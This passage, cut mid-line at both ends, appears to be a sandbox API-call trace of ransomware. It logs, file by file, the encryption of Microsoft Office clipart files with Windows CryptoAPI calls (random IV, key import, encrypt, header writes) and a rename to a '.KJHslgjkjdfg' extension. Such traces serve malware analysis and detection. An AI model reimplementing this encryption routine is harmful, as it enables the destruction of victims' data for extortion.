lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x38c6, lpOverlapped=0x0) returned 1 [0204.474] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x38d0, dwBufLen=0x38d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x38d0) returned 1 [0204.474] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.474] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x38d0, lpOverlapped=0x0) returned 1 [0204.474] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.474] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x39a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.474] SetEndOfFile (hFile=0x130) returned 1 [0204.477] GetProcessHeap () returned 0x990000 [0204.477] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.477] GetProcessHeap () returned 0x990000 [0204.477] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.477] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf.kjhslgjkjdfg")) returned 1 [0204.480] CloseHandle (hObject=0x130) returned 1 [0204.480] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x239b0400, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x239b0400, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x173e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00417_.WMF", cAlternateFileName="")) returned 1 [0204.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.480] GetProcessHeap () returned 0x990000 [0204.481] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.481] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.481] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.481] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0204.483] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.483] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.483] GetProcessHeap () returned 0x990000 [0204.483] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.483] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.483] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.483] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.483] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.484] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.484] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.484] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.484] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.484] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.484] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.484] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.484] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x173e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x173e, lpOverlapped=0x0) returned 1 [0204.485] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1740, dwBufLen=0x1740 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1740) returned 1 [0204.485] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.485] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1740, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1740, lpOverlapped=0x0) returned 1 [0204.485] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.485] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.485] SetEndOfFile (hFile=0x130) returned 1 [0204.604] GetProcessHeap () returned 0x990000 [0204.604] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.604] GetProcessHeap () returned 0x990000 [0204.604] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.604] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf.kjhslgjkjdfg")) returned 1 [0204.606] CloseHandle (hObject=0x130) returned 1 [0204.606] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x313b9400, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x313b9400, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x4696, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00433_.WMF", cAlternateFileName="")) returned 1 [0204.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.607] GetProcessHeap () returned 0x990000 [0204.607] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.607] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.607] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0204.610] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.610] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.610] GetProcessHeap () returned 0x990000 [0204.610] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.610] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.610] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.610] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.610] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.610] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.610] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.610] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.610] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.611] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.611] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.611] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.611] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4696, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4696, lpOverlapped=0x0) returned 1 [0204.612] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x46a0, dwBufLen=0x46a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x46a0) returned 1 [0204.612] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.612] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x46a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x46a0, lpOverlapped=0x0) returned 1 [0204.612] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.612] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.612] SetEndOfFile (hFile=0x130) returned 1 [0204.615] GetProcessHeap () returned 0x990000 [0204.615] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.615] GetProcessHeap () returned 0x990000 [0204.615] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.615] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf.kjhslgjkjdfg")) returned 1 [0204.617] CloseHandle (hObject=0x130) returned 1 [0204.617] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdea9aa00, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdea9aa00, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x2f38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00438_.WMF", cAlternateFileName="")) returned 1 [0204.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.619] GetProcessHeap () returned 0x990000 [0204.619] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.619] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.619] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.619] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.621] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.621] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.621] GetProcessHeap () returned 0x990000 [0204.621] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.621] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.621] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.621] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.622] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.622] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.622] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.622] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.622] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.622] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.622] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.622] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.622] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2f38, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2f38, lpOverlapped=0x0) returned 1 [0204.623] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2f40, dwBufLen=0x2f40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2f40) returned 1 [0204.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.623] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2f40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2f40, lpOverlapped=0x0) returned 1 [0204.624] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.624] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.624] SetEndOfFile (hFile=0x130) returned 1 [0204.626] GetProcessHeap () returned 0x990000 [0204.627] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.627] GetProcessHeap () returned 0x990000 [0204.627] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.627] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf.kjhslgjkjdfg")) returned 1 [0204.628] CloseHandle (hObject=0x130) returned 1 [0204.628] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f311400, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f311400, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x14bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00452_.WMF", cAlternateFileName="")) returned 1 [0204.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.629] GetProcessHeap () returned 0x990000 [0204.629] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.629] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.629] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.629] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.634] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.634] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.634] GetProcessHeap () returned 0x990000 [0204.634] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.635] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.635] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.635] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.635] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.635] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.635] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.635] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.635] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.635] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.635] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.635] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.635] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x14bc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x14bc, lpOverlapped=0x0) returned 1 [0204.636] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x14c0, dwBufLen=0x14c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x14c0) returned 1 [0204.636] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.637] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x14c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x14c0, lpOverlapped=0x0) returned 1 [0204.637] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.637] SetEndOfFile (hFile=0x130) returned 1 [0204.639] GetProcessHeap () returned 0x990000 [0204.639] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.639] GetProcessHeap () returned 0x990000 [0204.640] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.640] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 